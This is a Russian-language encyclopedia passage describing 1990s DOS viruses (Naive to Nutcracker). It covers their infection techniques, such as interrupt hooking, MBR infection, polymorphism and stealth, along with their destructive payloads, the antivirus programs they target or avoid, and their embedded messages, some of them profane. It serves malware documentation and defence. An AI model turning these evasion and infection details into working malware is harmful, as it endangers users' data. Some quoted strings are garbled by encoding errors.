Неопасный вирус. При нажатии на Ctrl-Alt-Del выводит текст (только для
монохромного монитора):
г=====================================¬
¦ Л Ю Д И ! ¦
¦ Да услышат Ааши уши, да не отвра- ¦
¦ тятся глаза Ааши, да внемлют Ваши ¦
¦"сердца, ибо глаголю истину и в ней ¦
¦ ваше"спасение. ¦
¦ Я, пречистый NAIVE, ниспослан на ¦
¦ землю"самим Люцифером, Князем Тьмы, ¦
¦ Хозяином Ада и Господином Страстей. ¦
¦ Он дал мне в руки демонов и"№ерез ¦
¦ них"¤ обращаюсь к вам. Все они без- ¦
¦ вредны для"сынов и дочерей Евы, как ¦
¦ и для"творений"-ук их. ¦
¦ Знайте же,"что не Бог изгнал лю- ¦
¦ дей из Рая и не Сатана ввёл их в ¦
¦ исскушение. Ибо возгордился"человек ¦
¦ и возомнил"себя богом вездесущим и ¦
¦ всезнающим. Заявил он себя господи- ¦
¦ ном"своего тела и"своих страстей. ¦
¦ И чтобы доказать"это, отрекался ¦
¦ от желаний тела: секса, пищи и дру- ¦
¦ гого. Но чего он добился"этим? ¦
¦ Так отрекитесь от власти над телом! ¦
¦ NAIVE. ¦
L=====================================-
Nameless.3000
Очень опасный резидентный шифрованный вирус. При старте инфицированной
программы вирус "выкусывает" свой код из нее, запускает ее, а потом
вновь заражает. Иногда, в зависимости от своих внутренних счетчиков или
при неаккуратной трассировке, уничтожает содержимое жесткого диска, а
также периодически уничтожает содержимое случайных секторов логических
дисков. Содержит текст "Nameless virus v.2.0 Глазовская водка-лучшая в
России! Завалим юзеров вирусами! Игорь, помоги назвать вирус (только не
Nameless) U my last hope... Please...".
Natas.4740, 4744, 4746, 4766, 4774, 4786, 4826, 4918, 4988, 5228
Очень опасные файлово-загрузочные полиморфные вирусы. Заражают MBR
"винчестера", Boot-сектора флоппи-дисков, COM и EXE-файлы. Не заражают
файлы, обрабатываемые программами PKZIP, PKUNZIP, ARJ и LHA. В
зависимости от своих счетчиков могут отформатировать жесткий диск.
Содержат текстовые строки: "Natas" и "BACK MODEM". Natas.4746 содержит
ошибку в процедуре заражения MBR и Boot-секторов дискет. В результате
этого система перестанет загружаться с таких дисков и восстановление
оригинальных MBR и Boot-секторов окажется невозможным. Natas.4774
имеет текст "Time has come to pay (c)1994 NEVER-1". Natas.4988 содержит
следующий текст:
Yes I know my enemies
They're the teatchers who taught me to fight me
Compromise, conformity, assimilation, submission
Ignorance, hypocrisy, brutality, the elite
All of whitch are American dreams
(c) 1994 by Never-1(Belgium Most Hated) Sandrine B.
Nax.858
Опасный резидентный вирус. Из-за ошибки разрушает инфицируемые файлы.
При нажатии на клавишу F5 вирус меняет ее в буфере клавиатуры на F8 и
наоборот - F8 на F5.
Nax.1402
Опасный резидентный вирус. Каждое четвертое нажатие на клавиши
\/:;""()[],.90 изменяет на /\;:"")(][.,09, а также F5-"F8, F6-"F8,
F8-"F5,Enter-"Escape,Escape-"Enter.
NearDark
После загрузки с жесткого диска может вывести строку "NearDark", после
чего уничтожит Partition Table.
Necros.1164
Неопасный резидентный полиморфный вирус. Заражает COM-файлы, внедряя
свой код в их начало. EXE-файлы заражает, как вирус-спутник. Т.е.,
создает COM-файл, содержащий вирусный код с именем EXE-файла. 21 ноября
выводит на экран текст:
Virus V2.0 (c) 1991 Necros The Hacker.
Written on 29,30 June in Tralee, Co. Kerry, Ireland.
Happy Birthday, Necros!
Содержит строку "Virus V2.0 [FrIEND]".
NED-вирусы
NED (NuKE Encryption Device) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Содержит текстовую строку: [NuKE]
Encryption Device v1.00 (C) 1992 Nowhere Man and [NuKE]
NED.ItsHard
Опасный нерезидентный полиморфный вирус. В декабре пытается
отформатировать 32 цилиндра первого жесткого диска, после чего
перезагружает компьютер. Содержит строку
IT'S HARD. SMAUG REIGNS SUPREME AS THENEW FORCE IN VIRUS WRITING.
SMIRK. SMIRK. POOF!
NED.Tester
Нерезидентный полиморфный вирус. Перед заражением файла выводит текст:
"Test virus successful!". Содержит строки: "*.COM", "[VCL]".
NeedLove.5000
Опасный резидентный шифрованный вирус. В вирусе присутствуют некоторые
процедуры, которые никогда не получают управления. Так, видимо, в
январе вирусу хотелось бы вывести на экран текст "ALL YOU NEED IS
LOVE!" и запустить по экрану "бегущие" справа налево разноцветные
сердца разного размера, одновременно с этим последовательно читая
сектора жесткого диска, видимо имитируя разрушение информации в них. А
также в теле вируса присутствует подпрограмма записи в файлы текста:
Whenever I'm alone with you
You make me feel like I am free again
Whenever I'm alone with you
You make me feel like I am clean again
However far away I will always love you
However long I stay I will always love you
Whatever words I say I will always love you I will always love you
Вирус содержит текст:
I'm the Ghost 1.5 and maybe last.
It's time to die.
Viruses adding on and on...DrWeb's getting too slow.
What's next?
Halt?
Neko.2697
Резидентный полиморфный вирус. Отличается оригинальным алгоритмом
шифрования. Помимо простого шифровщика вирус создает код, который в
случайных местах уже зашифрованного вирусного кода изменяет некоторые
байты и слова (XOR, ADD, SUB, INC, DEC, AND). Во вторник перед
заражением файла выводит текст:
Dear Mrs.Grandy:
Aloha!
It is me,Neko again! This is the lastest version 2.0
Undoubtedly,I am not what I was.
Let me tell you something about my improvement.
I work with the Antilogic Engine I.
It is a new invention.So,
Showtime! Neko version 2.0
Made by Metal Satan
Nessuno.2170
Опасный резидентный полиморфный вирус. Разрушает, записывая в случайное
место файла 21 случайный байт, файлы, расширения которых заканчиваются
на буквы, указанные в следующем списке (2 последовательных символа для
каждого файла): ocxtas.cppodroorsmspldakrgbfpsiprj. Содержит текст
"[For pirates... (C)1993-94 nessuno] sono solo stronzate".
Net.4340
Опасный резидентный вирус. Может записывать в программы троянский код,
уничтожающий CMOS и сектора дисков. Содержит текст "Retix PC-21
NETBIOS".
Neurobasher.Alpha
Неопасный резидентный стелс-вирус. При старте или открытии зараженных
файлов вирус удаляет свой код из них. Иногда выводит сообщение:
¦ оАLPHA STRIKЕп • Advanced Tactical Viral Implant by NEUROBASHER'93 / Germany
Neurobasher.Avalanche
Опасный резидентный шифрованный вирус. При старте файлов, содержащих
словосочетания F-PR, TBAV, SCAN, MSAV, CPAV, TBME, TBFI, TBSC, VIRS,
TBDR, вирус удаляет их. Содержит текст "AVALANCHE/Germany '94...Metal
Junkie greets Neurobasher".
Neurobasher.Havoc (1,2)
Файлово-загрузочные полиморфные стелс-вирусы. Заражают MBR,
Boot-сектора дискет и EXE-файлы. При старте зараженной программы вирусы
первым делом устанавливает свою TSR-копию в память по адресу 7C00:0000,
перехватывают INT 13h и INT 21h, причем при "захвате" INT 21h, вирусы
могут внедрить инструкции перехода на свой обработчик в оригинальный
обработчик прерывания DOS, находящийся в HMA. После этого заражают MBR
"винчестера", шифруют истинный "спрятанный" в 7 секторе MBR и
Boot-сектор активного раздела DOS. 9 секторов своего тела вирусы
записывают начиная с 8 сектора жесткого диска. При загрузке с
инфицированного жесткого диска вирусы устанавливают в память по адресу
7C00:0000 свой код, перехватывают INT 13h, INT 21h, ждут загрузки DOS,
и "законным" способом (f.48h INT 21h) получают свой участок памяти. При
возможности размещают себя в область UMB. Заражают дискеты емкостью
1.2M или 1.44M. Причем вирусы форматируют дополнительную 81 дорожку из
10 секторов, куда "прячут" оригинальный Boot-сектор и 9 секторов своего
кода. Havoc (1) содержит ошибку в процедуре заражения Boot-секторов
дискет. Правильное заражение флоппи-дисков будет происходить только в
том случае, если первая команда загрузчика JMP SHORT PTR (EBh ??). Во
второй модификации вируса данная ошибка исправлена. Через 3 месяца
после заражения компьютера вирусы выводят сообщение:
Havoc (1):
"HAVOC" by Neurobasher'93/Germany - GRIPPED BY FEAR - UNTIL DEATH US DO PART !
Содержит также строку "'1993 / Germany """".
Havoc (2):
"HAVOC" by Neurobasher'93/Germany -GRIPPED-BY-FEAR-UNTIL-DEATH-US-DO-PARTNeurobasher.N8Fall.527
Неопасный резидентный стелс-вирус-спутник. Не заражает файлы,
содержащие символы "F-" (F-PROT). Содержит текстовую строку
"-A-VICTORY-THAT-WON'T-LAST-"
Neurobasher.N8Fall.4518 (1,2), 5770, 5081
Неопасные резидентные полиморфные стелс-вирусы. Устанавливают свою TSR-
копию в область UMB или в верхние адреса памяти. Внедряют прямой
межсегментный CALL на свой код в оригинальный обработчик DOS INT 21h.
Иногда выводят на экран сообщения:
Neurobasher.N8Fall.4518 (1,2):
Invisible and silent - circling overland :
\\\ N 8 F A L L ///
Rearranged by Neurobasher - Germany
-MY-WILL-TO-DESTROY-IS-YOUR-CHANCE-FOR-IMPROVEMENTS-
Neurobasher.N8Fall.5770, 5081:
"Any means necessary for survival"
Ё N8FALL/2XS Ё
"By the perception of illusion we experience reality"
Art & Strategy by Neurobasher 1994 - Germany
"I don't think that the real violence has even started yet"
Neurobasher.N8Fall.4518 (1,2) иногда вызывает печать экрана на принтер
(Int 05). Neurobasher.N8Fall.5770,5081 при завершении работы какой-либо
программы (f.4Ch INT 21h) может установить в память "на INT 21h" другой
стелс-вирус-спутник Neurobasher.N8Fall.527, хранящийся в теле вируса-
родителя в зашифрованном виде, который в дальнейшем может "жить
собственной жизнью".
Neurobasher.Tremor
Неопасный резидентный полиморфный стелс-вирус. Трассирует INT 21h.
Копирует свою TSR-копию в область UMB, если это возможно. Перехватывает
INT 15h, 21h, причем может не просто перехватить INT 21h, а
"вклиниться" в цепочку обработчиков INT 21h. И сам перехват INT 21h и
15h довольно необычен: вирус находит в памяти PSP (префикс программного
сегмента) резидентной части командного процессора и оставляет в нем по
смещению 5 и 53h прямые межсегментные jump'ы соответственно на свои
обработчики INT 21h, 15h. И делает ссылки векторов в таблице прерываний
или значения адресов межсегментных переходов на установленные им
инструкции переходов в PSP COMMAND.COM. INT 15h вирус использует для
вызова видеоэффекта: при нажатии на Ctrl-Alt-Del, иногда, выводится
сообщение:
-=" T•R•E•M•O•R was done by NEUROBASHER / May-June'92, Germany "=-
-MOMENT-OF-TERROR-IS-THE-BEGINNING-OF-LIFE-
Также, в некоторые моменты, вирус может "потрясти' экран.
Nexivder.4224, 4286
Неопасные файлово-загрузочные полиморфные вирусы. Заражают MBR жесткого
диска, загрузочные сектора дискет и COM-файлы. В COM-файлы вирусы
внедряются в середину файлов, используя трассировку для замены по
случайному смещению программы определенной вирусом программной
инструкции на вирусную команду передачи управления (CALL NEAR).Основной
зашифрованный вирусный код размещается в конце файлов.
NextGen.2304
Неопасный резидентный стелс-вирус. Содержит текст "The NextGen Stealth
Virus IL USA, 6-93...(Revision)".
NG.695, 1036
Неопасные резидентные вирусы. Перехватывают INT 20h, INT 21h, INT 27h,
ожидают окончания работы инфицированной программы, после чего
восстанавливают указанные вектора прерываний и перехватывают INT 13h и
INT 28h. После каждого 4го вызова INT 28h пытаются найти в текущем
каталоге (f.4Eh, 4Fh INT 21h) и заразить *.COM-файл. С помощью INT 13h
контролируют запись на диск (AH=3) и производят поиск и заражение
только после данной записи. Содержат зашифрованные тексты:
NG.695: "New Generation v.2.1 (NG-2.1 Ukr)",
NG.1036 "NG-2.3 Ukr", "i vir our service".
Nice
Неопасный загрузочный стелс-вирус. Шифрует оригинальный загрузочный
сектор. Может вывести сообщение "Virus "NICE"".
Nigeb.890
Опасный резидентный вирус. При записи в файл или на экран (f.40h INT
21h) слова BEGIN вирус изменяет его на NIGEB. На экране же при встрече
слова NIGEB вирус изменяет его на первоначальное BEGIN. Содержит тексты
"igeb", "egin", "AntiPascal-1 (C)Godzilla Corp.".
Nikolas.1101
Неопасный резидентный вирус. Содержит зашифрованный текст "Nikolas" и
"V4.5".
Nilz.1000
Опасный резидентный вирус. 10 марта уничтожает содержимое CMOS-памяти и
выводит на экран текст "HAIGUSTE RAVI KONTROLLITUD VAIKUSE PIMEDUSE JA
RAADIOGA". Содержит текст "NiLZ".
Ninja.1181, 1195
Неопасные резидентные вирусы. Ninja.1195 содержит текст:
В УдГУ никто и ничто не пашет!
It's a beautiful life!
Can't stop raving
Ninja.1225, 1336, 1376
Очень опасные зашифрованные резидентные вирусы. Ninja.1225, 1376 13
числа в 13 минут уничтожают по 256 секторов на 13 головках жесткого
диска. Заражают файлы, записывая в их конец, перед основным вирусным
кодом блок до 256 байт и после тела вируса, для EXE-файлов - блок до
256 байт, для COM-файлов - блок до 512 байт. С вероятностью 1/256
уничтожают программные файлы, записывая в них код, который при старте
выводит следующее сообщение:
Ninja.1336: DZINA VIRUS v 4.0 Copyright (C) 1990,91,97 Dzina Corp
Ninja.1376:
Mutant Ninja Version 2.0 Copyright (C) 1990,91 Virus&Worm Software
Ninja.1383
Опасный резидентный вирус. При старте программы с именем DRWEB вирус
освобождает "захваченное" им INT 21h, обезвреживая тем самым свою
резидентную копию в памяти. При старте программы LOGIN, если в этот
момент значение секунд системного времени более 20 секунд, то вирус
выводит на экран текст:
********** Warning ! **********
Novell NetWare report : Hardware A30 error detected.
Registers :
AX :2134 BX :3C23 CX :1841 DX :5421
CS :2451 DS :2023 ES :538A SS :6C8B
SI :46AE DI :94B4 SP :4541 BP :491C
Try restart file-server,if it will not give effect,
switch off your network and call trained service-people.
Press any key to restart this computer.
Также содержит тексты:
NetWare virus from Avenge (tm) family .
(C)Rager , Simferopol State University
Nki.3477
Опасный резидентный вирус. При создании файлов с расширениями AS? или
DB?, вирус может удалить их или создать вместо файла директорий с таким
же именем. При нахождении в левом верхнем углу экрана буквосочетания
"AX", вирус подставляет вместо вызванной функции INT 21h функцию
удаления файла (f.40h Int 21h). Иногда выводит текст "No Viruses" и
рисует на экране диагональные черно-белые полосы.Содержит зашифрованный
текст "Николаевский Кораблестроительный институт. Oct(123,123,126) by
one of student".
Nocopy.3695
Неопасный резидентный шифрованный вирус. Заражает EXE-файлы при их
старте или при обращении к ним. Создает файл C:\NOCOPY.COM, содержащий
вирусный код и вставляет строку C:\NOCOPY в начало файла AUTOEXEC.BAT.
Корректирует MBR жесткого диска таким образом, чтобы после загрузки
системы вирус смог бы узнать адрес INT 13h в ПЗУ.
NoDBF.1000
Опасный резидентный вирус. Блокирует обращение к файлам *.DBF.
NoFrills.835, 843, 1422
Неопасные резидентные вирусы. Содержат строки:
NoFrills.835 - "+-NF3.0-H.McB-[PuKE]-+";
NoFrills.843 - "+-No Frills 2.0 by Harry McBungus-+".
NoFrills.1422 -
*X-Fungus by Harry McBungus*
*Nugga!*
*Greets SCP*
*Greets RABID*
* Patricia: Grow some programming knowledge *
*Grease me!*
*K-Mart in full effect*
*Max is braindead*
NoFrills.1422 также выводит на экран текст:
John Bonham - September 20, 1980
- L E D Z E P P E L I N -
NoFrills.Dudley
Неопасный полиморфный вирус. Содержит строку ""[Oi Dudley!][PuKE]"".
NoGraph.784
Опасный резидентный вирус. Может запретить графический режим монитора.
Возможен вывод случайных символов на экран, зависание или перезагрузка
системы, изменение контрольной суммы CMOS-памяти.
Noki.448
Опасный резидентный вирус. Записывает свой код в 17 сектор жесткого
диска, записывает 39 байт своего кода в область векторов прерываний по
адресу 0:210h, "перехватывает" INT 21h. При старте файлов (f.4Bh Int
21h) вирус считывает 17 сектор, содержащий вирусный код в область
видеопамяти BD00:0000, проверяет является ли запускаемая программа EXE-
файлом и считывает 448 байт из области стека данной программы в память.
Если данные 448 байт состоят из нулевых байт, то вирус записывает свой
код в данное место программного стека, не изменяя длины пораженного
файла. 23 числа нечетного месяца вирус уничтожает MBR жесткого диска.
Вирус содержит строку "NOKI", которая выполняется как инструкции
процессора.
Nomenklatura.1024
Неопасный резидентный вирус. Содержит тексты "Nomenklatura', "Този
дебел идио- вме--о да ¦ел¦не -о¬ни-е ¦--ни на моми¬е-о, впи ¦--ни -ам,
к¦де-о --¬бва¬е да -ложи -¦в-ем д-¦го не¦о".
Noon.1163
Неопасный резидентный вирус. В 12.00 имитирует сигналы точного времени
радиопрограммы "Маяк". Содержит зашифрованный текст "byMH&MHsoftware".
NoRemorse.1319
Опасный нерезидентный шифрованный вирус. COM-файлы заражает, внедряя
свой код в начало файлов. EXE-файлы заражает, как вирус-спутник,
присваивает оригинальному EXE-файлу расширение WIT и создает вирусный
файл с именем и расширением исходного файла. В EXE-файлы, имеющие
расширение COM (кроме файла CO*.COM), вирус записывает троянский код,
который выводит сообщение "------- NO REGRET -------" и "вешает"
систему. 15 апреля или 50-ое поколение вируса уничтожает содержимое
CMOS - памяти, выводит текст "Корабелка - rulez forever !" и
"перезагружает" систему. Уничтожает файлы: *.-*,chklist.*,anti-vir.dat,
msav.chk, *.avb, *.log, tbscan.sig, smartchk.cps, *.ms. Содержит текст
"Virus NoRemorse v1.8. Copyright (c) by Wit 1996.".
Notice.974, 987
Неопасные резидентные шифрованные вирусы. В воскресенье выводят тексты:
Notice.974:
10 ноября 1982 года перестало биться ceрдце
Генерального Cekретаря ЦК КПСС,
Героя Cоциалистического Tpуда,
четырежды Героя Cоветского Cоюза
Леонида Ильича Брежнева ...
Notice.987:
BRYANSK INGENERING UNEVERSISTET
FUCK,FUCK,FUCK and FUCK
YOR FUCK MY BRAIN
GOOD BAY MY FREND !!!!!
GOOD LUCK IN WAR (LOW HAKER)
November17.768
Очень опасный резидентный вирус. В ноябре после 17 числа уничтожает
содержимое 8 первых секторов текущего диска.
Npuxogum.1176, 2025, 2036
Неопасные резидентные вирусы. 1 апреля производят вывод на экран
некоторой графической шутки.
NRLG.based
Данные вирусы сконструированы с помощью вирусного конструктора NRLG
(NuKE RANDOMIC LIFE GENERATOR), позволяющего создавать резидентные
полиморфные вирусы, заражающие COM-файлы. А также позволяют задавать
наличие в вирусах всевозможных текстовых строк, видеоэффектов и
деструктивных функций.
Nsd.266
Неопасный нерезидентный вирус. Иногда выводит текст "SYSTEM ERROR: DMA
DENIED." и, как правило, "вешает" систему. Также имеется строка "NSD".
Nsi.1509
Очень опасный резидентный вирус. Уничтожает *.PA? - файлы. Содержит
тексты "I'm sorry", "In & For NSI", "Nikolaev".
NTU.Cawber
Неопасный резидентный шифрованный вирус. Содержит тексты:
T4
Griffe
T4 virion ----- by NTU BACTERIOPHAGE LAB
There Once Was A King, Who Called For The Spring
For His World Was Still Covered In Snow
But The Spring Had Not Been, For He Was Wicked And Mean ...
Here I'm Sitting And It's Getting Cold
The Morning Rains Against My Window Pane
While The World Looks So Cold And Grey
In My Mind I Dream Away
Then I'm On My Way To Tropic Islands
You'd Always Say I Was A Dreamer
You Were Right
What Do I Say When It's All Over ?
And SORRY Seems To Be The Hardest Word ...
NTU.L'amour
Опасный резидентный полиморфный стелс-вирус. 13 сентября уничтожает
содержимое CMOS-памяти и секторов жесткого диска. Содержит текст
"L'AMOUR v1.1 by NTU BACTERIOPHAGE LAB S/N TM1-", далее идет номер
поколения вируса.
NuKE.Pox.609
Опасный резидентный шифрованный вирус. 24 числа при нажатии на клавишу
Del вирус форматирует 32 цилиндра жесткого диска. Содержит текст "(c)
Rock Steady/NuKE".
Nuker.Excess
Опасный резидентный шифрованный вирус. Иногда может вывести на экран
текст:
г-+DANGER!+----------------------------------------------¬
¦ You are infected by ExCESS Virus (c) 1995 by The Nuker ¦
¦--------------------------------------------------------¦
¦ I have destroyed your FATs but I have only ONE copy in ¦
¦ my data area. IF YOU REBOOT NOW ALL DATA WILL BE LOST. ¦
¦ If this isn`t enough, I have altered your Master Boot ¦
¦ Record with a formatting routine in order to low-level ¦
¦ format the primary Hard Disk when executed. If you are ¦
¦ so dude and you don`t believe me, reboot now and look ¦
¦ at your hard disk light spinning... If you don`t want ¦
¦ to loose all your data then try to guess a number from ¦
¦ 0 to 9 and pray for your answer to be correct, else... ¦
L---------------------------------------------------------
You have 3 tries to guess the correct number!!!
Enter the number:
После чего вирус дает три попытки на ввод некоторой цифры, которую
сравнивает со своим значением от 0 до 9, полученным случайным образом.
Если попытка неудачна, то вирус выводит сообщение:
Sorry, you didn`t entered the correct number!
Retry, and hope you lucky!!!
Enter the number:
Если цифра совпала в одной из трех попыток, то вирус выводит:
You fucking SHIT!!! You guessed the right number!!!
You are safe this time but next will come very soon
and you will not be so lucky!!!
Если же все 3 попытки были неудачными, то выводится следующий текст:
Hum... you are lucky this time...
Please wait while reconstructing disk structure...
После чего вирус уничтожает информацию на первом жестком диске и
выводит сообщение:
I WAS JOKING! Your Hard Disk has been fucked up!!!
Thank you for choosing another product of...
·T·h·e· ·N·u·k·e·r·
Nuker.Trance.1688, 1982
Nuker.Trance.1982 - опасный вирус. Иногда может записать в случайный
сектор диска строку "This sector has been fucked up courtesy of Trance¤
Virus (c) 1995 by The Nuker". Nuker.Trance.1688 1-го числа производит
"осыпание" экрана (см. Cascade.1701), содержит строку "Trance Virus (c)
1995 by The Nuker".
Nutcracker.512 (1,2)
Опасные загрузочные вирусы. Шифруют первый сектор подкаталогов (см.
Nutcracker.AB2.6425).
Nutcracker.AB1.1924, 2244, 2620, 2722
Опасные полиморфные резидентные вирусы. Заражают COM и EXE-файлы также,
как и вирусы Nutcracker.AB2. Nutcracker.AB1.2620, 2722 также шифруют
заголовки EXE-файлов по принципу вирусов Nutcracker.AB2.
Nutcracker.AB1.2620, 2722 внедряют в SYS и BIN-файлы троянский код,
который 12 числа месяца уничтожает содержимое CMOS - памяти. Вирус
Nutcracker.AB1.2244 уничтожает содержимое CMOS-памяти, если ему не
удается получить достаточный участок свободной через функции управления
памятью (f.48h, 49h, 4Ah Int 21h). Nutcracker.AB1.1924 иногда запрещает
или разрешает перерисовку экрана (video refresh). Nutcracker.AB1.2244,
2620 содержат текст "ANTAREX", а также:
Nutcracker.AB1.1924 -
Dedicated to N.L.A. - my little baby.
(c) by Kind Nutcracker(AB1)
Nutcracker.AB1.2244 -
(c) by Kind Nutcracker(AB1)
Nutcracker.AB1.2620 -
Run me, pleace!
(c) by Nutcracker(AB1)
Nutcracker.AB1.2722 -
Nomina sunt odiosa
(c) by Nutcracker(AB1)
Nutcracker.AB2.2890,2990,3021,3427,4540,5375,5413,5440,5589,6082,6100,6425,
6500,6727,6982,6996,7008(1,2),7033(1,2),7034,7640
Очень опасные полиморфные файлово-загрузочные вирусы. Заражают COM,EXE,
BIN, SYS-файлы, а также главную загрузочную запись (MBR) жесткого диска
и загрузочные сектора (Boot Sectors) дискет. Данные вирусы имеют
довольно мощный полиморфный механизм. Инфицированные COM и EXE-файлы
(а также SYS-файлы для вирусов длиной более 6425 байт) содержат
несколько декрипторов, поочередно расшифровывающих друг друга. При
расшифровке основного тела вирусами длиной 2890,2990,3021, 3427,5375,
5413, 5440, 5589, 6082 и 6100 байт используется внутренний конвейер
процессора, поэтому на компьютерах с процессором Pentium данные вирусы
распространяться не смогут. EXE-файлы менее 64K вирусы заражают,
превращая в формат COM-файла. При старте вируса из такого файла, по
окончании своей работы, производится дополнительная настройка
перемещаемых элементов (relocations). При заражении COM и EXE-файлов
вирусы внедряют свой код в середину файлов, зашифровав и перенеся
предварительно программный код в конец файлов. В BIN и SYS-файлы вирусы
записываются в их конец, не шифруя свой код (вирусы длиной более 6425
байт - шифруют). При первом старте вирусы заражают MBR "винчестера" и
отдают управление программе-вирусоносителю. При загрузке системы с
такого диска, вирусы "перехватывают" INT 1Ch, ждут загрузки DOS и
"перехватывают" INT 13h,1Ch,21h, 28h. При старте первой программы через
функцию EXEC (f.4Bh Int 21h) вирусы пытаются получить свободный участок
памяти через функцию распределения памяти (f.48h Int 21h),куда копируют
и оставляют резидентным свой код. По возможности вирусы пытаются
установить свои резидентные копии в область UMB. Int 1Ch используется
иногда вирусами для проигрывания мелодии "Я на солнышке лежу..." из
известного мультфильма. Непосредственную опасность для пользователя
представляет "перехват" вирусами INT 13h (операции с диском). Данное
прерывание вирусы используют для заражения флоппи-дисков. А также для
зашифровки некоторой информации на дисках. При чтении или записи
секторов вирусы (Nutcracker.AB2.2890, 2990, 3021, 3427, 4540) проверяют
равно ли первое слово в буфере значению "MZ"- сигнатуре EXE-файлов.Если
данное слово действительно является "MZ", то вирусы проверяют еще два
последующих слова на соответствие данного сектора EXE-файлу, размер
которого более, чем 65024 байта. Если данное условие выполняется, то
вирусы зашифровывают данный сектор в буфере (512 байт) по определенному
закону, изменяют сигнатуру "MZ" на "AB" и записывают его на диск. При
чтении такого сектора, вирусы проверяют равно ли первое слово "AB" и
если да, то пытаются расшифровать данный сектор по известному закону.
Таким образом, при чтении или запуске EXE-файлов происходит зашифровка
заголовков (512 байт) данных файлов на диске,но в памяти компьютера все
выглядит "достаточно прилично", т.е., EXE-файлы читаются, запускаются и
т.д., как ни в чем ни бывало. При копировании же таких файлов с
"больного" компьютера на "здоровый", данные файлы оказываются
неработоспособными и, скорее всего, "завесят" систему. При обнаружении
вирусов с длинами 2890, 2990, 3021, 3427, 4540 в загрузочном секторе,
программа Dr.Web начнет сканирование секторов всего диска (или всех
жестких дисков) для поиска таких зашифрованных секторов и при
нахождении оных, расшифрует их. Данная операция для моих 4-ех жестких
дисков емкостью более 4G длилась около 20 минут и не было обнаружено ни
одной ложной расшифровки. Но следует напомнить, что расшифровка таких
секторов производится сразу же после уничтожения вируса в загрузочном
секторе диска. При сканировании таких зашифрованных файлов в
незараженной системе детектирование этих файлов с сигнатурой "AB" и
расшифровка их производиться НЕ БУДУТ. Вирусы длиной 6425, 6500, 6727,
6982, 6996, 7008, 7033, 7640 байт являются полиморфиками также и в
загрузочных секторах. Также вместо заголовков EXE-файлов они шифруют
первый сектор подкаталогов с помощью адреса вектора INT 00,находящегося
в ПЗУ ROM BIOS. При нахождении вирусов в памяти программа Dr. Web
исправляет вирусный резидентный код таким образом, что при сканировании
всех файлов во всех каталогах происходит восстановление зашифрованных
данных на дисках. Только необходимо произвести сканирование дисков без
перезагрузки системы после обезвреживания вирусного кода в памяти
компьютера. Вирусы длиной 6082,6100,6500,6727 байт производят упаковку
блока заражаемого файла, поэтому длина файла после заражения данными
вирусами может измениться на величину меньшую,чем длина вирусного кода.
Вирусы содержат некоторые ошибки, в результате которых возможно
появление системного сообщения "Divide overflow" после запуска
некоторых файлов, а также возможно "зависание" системы после старта
инфицированных программ. При заражении главной загрузочной записи MBR
жесткого диска, после первой перезагрузки системы с нее, вирусы (2990,
3021,3427,4540 байт) шифруют часть загрузчика-47 байт с помощью первого
байта вектора INT 00, находящегося в ПЗУ ROM BIOS. Nutcracker.AB2.4540
7 апреля выводит на экран текст "the Sun is gone but I have a light..."
Nutcracker.AB2.6996 12 января выводит текст "Nutcracker(AB2): lives
forever!", Nutcracker.AB2.6982 в этот же день пытается отформатировать
первый жесткий диск. Nutcracker.AB2.7033 12 января "вешает" систему.
Nutcracker.AB2.7008 12 числа месяца может уничтожить информацию на
жестком диске компьютера. Nutcracker.AB2.7640 12 января печатает
содержимое на принтер (INT 5). А также резидентная копия вируса длиной
7640 байт контролирует INT 27h и при попытке какой-то программы (я не
смог выяснить, что это за программа) остаться резидентно в памяти,
вирус пытается форматировать дорожки жесткого диска.Nutcracker.AB2.2890
внедряет в SYS и BIN-файлы троянский код, который может уничтожить
содержимое CMOS - памяти. Nutcracker.AB2.6100 после 555 загрузок с
жесткого диска уничтожает содержимое CMOS-памяти и по 100 первых
секторов двух жестких дисков. Вирусы содержат зашифрованные тексты:
Nutcracker.AB2.2990,3021,6082,6982,7008,7033: Nutcracker(AB2)
Nutcracker.AB2.7640: Nutcracker/AB2
Nutcracker.AB2.3427,4540: Universal Pathologic Device by Nutcracker(AB2)
Nutcracker.AB2.5375, 5413, 5440, 5589:
This Universal Pathologic Device dedicated to Любовь Н.
I hate the envy, the meanness, the riches, the trea, the bluntness,
the ignorance, the lie, the servility, the mistrust and the hatred.
Nutcracker(AB2)
Nutcracker.AB2.6100: Nutcracker(AB2)
Любовь Н.
Nutcracker.AB2.6425,6500,6727 иногда выводят на экран текст:
Nutcracker(AB2): Welcome to the Hell
Nutcracker.AB2.2990, 3021, 3427 не заражают файлы, имя которых
заканчивается на NF, ADINF, видимо. Nutcracker.AB2.6425, 6500, 6727 не
заражают следующие файлы SCAN, CLEAN, VSAFE, NAV, AVP,AIDS,GUARD,NOD,
F-PROT,DESINF,VIRSTOP,VSHIELD,FINDVIRU,VIVERIFY,TB,RKSD,COMMAND,SETVER,
CHKLIST,ADINF,SMARTCHK,ANTI-VIR,CHKDSK,PKZIP,PKLITE,WEB,DRWEB.
Nutcracker.AB3
Опасный резидентный вирус. 12 января и 23 июля уничтожает по 40
секторов логических дисков C:, D:, E:, F:, G:. Запоминает в своем теле
дату старта вируса и через 23 дня замедляет вывод на экран,
"перехватывает" INT 10h (вывод на экран) и производит холостой цикл.
Содержит текст "Nutcracker(AB3)".
Nutcracker.AB4
Очень опасный резидентный вирус. Записывает в MBR жесткого диска
"троянский" код, который 12 января и 23 июля форматирует первые дорожки
первого и второго жесткого дисков. Также при старте любой программы,
резидентная копия вируса увеличивает счетчик, находящийся в загрузочном
секторе текущего диска по смещению 10.При достижении счетчиком значения
64, вирус обнуляет его и создает на данном логическом диске
псевдосбойный кластер. Содержит текст "Sombre Nutcracker(AB4).
Nutcracker.AB5.2725, 2900, 3139
Очень опасные резидентные вирусы. Пытаются быть невидимыми. При каждой
16 стартующей программы уничтожают один случайный сектор на текущем
диске. Уничтожают файлы с расширениями *.MS и *.?AS и таблицы ревизора
диска ADinf. Не заражают файлы с именами, начинающимися на IB и CO.
Записывает в MBR жесткого диска "троянский" код, который после 512
загрузок с жесткого диска может уничтожить информацию на жестком диске
и в CMOS-памяти и вывести сообщение:
Gloomy Nutcracker(AB5) from the city of Brest(BY) with best wishes!
Содержат текст "Only the Hope dies last!".
Nutcracker.AB6 (1-4)
Очень опасные резидентные файлово-загрузочные вирусы.12 января пытаются
отформатировать первый жесткий диск,после чего выводят на экран тексты:
Nutcracker.AB6 (1) - "Dreary Nutcracker(AB6)"
Nutcracker.AB6 (2) - "Dreary Nutcracker(AB6) Lives"
Nutcracker.AB6 (3) - "Dreary Nutcracker(AB6) Lives Again"
